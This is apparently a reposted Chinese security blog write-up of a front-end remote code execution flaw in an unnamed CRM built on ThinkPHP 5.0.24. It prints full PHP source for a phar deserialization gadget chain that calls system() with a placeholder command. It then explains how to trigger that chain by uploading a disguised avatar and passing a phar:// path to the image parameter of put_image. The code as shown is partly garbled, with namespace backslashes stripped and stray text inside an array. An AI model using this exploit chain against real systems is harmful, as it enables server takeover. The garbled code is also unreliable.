某CRM系统前台RCE漏洞

admin 2025年5月8日16:09:08评论6 views字数 1941阅读6分28秒阅读模式
免责申明

本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。

一、前言

    这是之前的一个库存了,现在发出来大家一期学习,现在官方已经打了相关补丁,一起来学习一下。

二、审计流程

     是一个PHP的相关源码,载入源码进行查看架构。

某CRM系统前台RCE漏洞
这种架构可以非常明显的看出来是TP框架开发的,我们着重来审计前台RCE漏洞,查看前台的文件。
某CRM系统前台RCE漏洞
在寻找一圈无果之后开始转战别的漏洞,这里先来确定一下TP的版本为5.0.24在这个版本当中存在一个反序列化漏洞,我们根据反序列化漏洞生成phar文件。
某CRM系统前台RCE漏洞
生成代码如下:
<?phpnamespace LeagueFlysystemCachedStorage{class Psr6Cache{private $pool;protected $autosave = false;public function __construct($exp) {$this->pool = $exp; } }}namespace thinklog{class Channel{protected $logger;protected $lazy = true;public function __construct($exp) {$this->logger = $exp;$this->lazy = false; } }}namespace think{class Request{protected $url;public function __construct() {$this->url = '<?= system('要执行的命令'); exit(); ?>'; } }class App{protected $instances = [];public function __construct() {$this->instances = ['thinkRequest'=>new Request()]; } }}namespace thinkviewdriver{class Php{}}namespace thinklogdriver{class Socket{protected $config = [];protected $app;protected $clientArg = [];public function __construct() {$this->config = [注册⽤户后上传⽂件'debug'=>true,'force_client_ids' => 1,'allow_client_ids' => '','format_head' => [new thinkviewdriverPhp,'display'], # 利⽤类和⽅法 ];$this->app = new thinkApp();$this->clientArg = ['tabid'=>'1']; } }}namespace {@unlink('shell.png');$phar = new Phar("phar.phar"); //$phar->startBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$c = new thinklogdriverSocket();$b = new thinklogChannel($c);$a = new LeagueFlysystemCachedStoragePsr6Cache($b);$phar->setMetadata($a);$phar->addFromString("a""a"); //添加要压缩的⽂件$phar->stopBuffering();}?>
然后我们开始找phar反序列化漏洞触发点。
三、phar反序列化触发点
 这里师傅们不知道phar反序列化触发点在哪里可以自行百度一下。
某CRM系统前台RCE漏洞
某CRM系统前台RCE漏洞
这里我们找到了readfile的触发点,这里虽然判断了后缀,但是不影响,phar反序列化漏洞不会受到后缀的影响,我们寻找哪里调用了这个方法put_image。
某CRM系统前台RCE漏洞
在Controller当中找到上述方法,这里我们的参数控制为image参数,现在我们只需要找一个可以上传图片的地方即可,然后调用这个地方的方法,将image变为phar://图片地址,即可。
四、漏洞复现
在这套源码当中,前台可以直接注册用户,并且进行头像上传(不贴图了,特征太明显了),上传之后我们进行phar反序列化漏洞攻击。
某CRM系统前台RCE漏洞
这里执行的命令是在服务器当中创建一个目录为nishi。
某CRM系统前台RCE漏洞
可以看到成功没创建,至此获得前台RCE漏洞一枚。

五、完结

 

原文始发于微信公众号(进击安全):某CRM系统前台RCE漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月8日16:09:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某CRM系统前台RCE漏洞https://cn-sec.com/archives/4042113.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息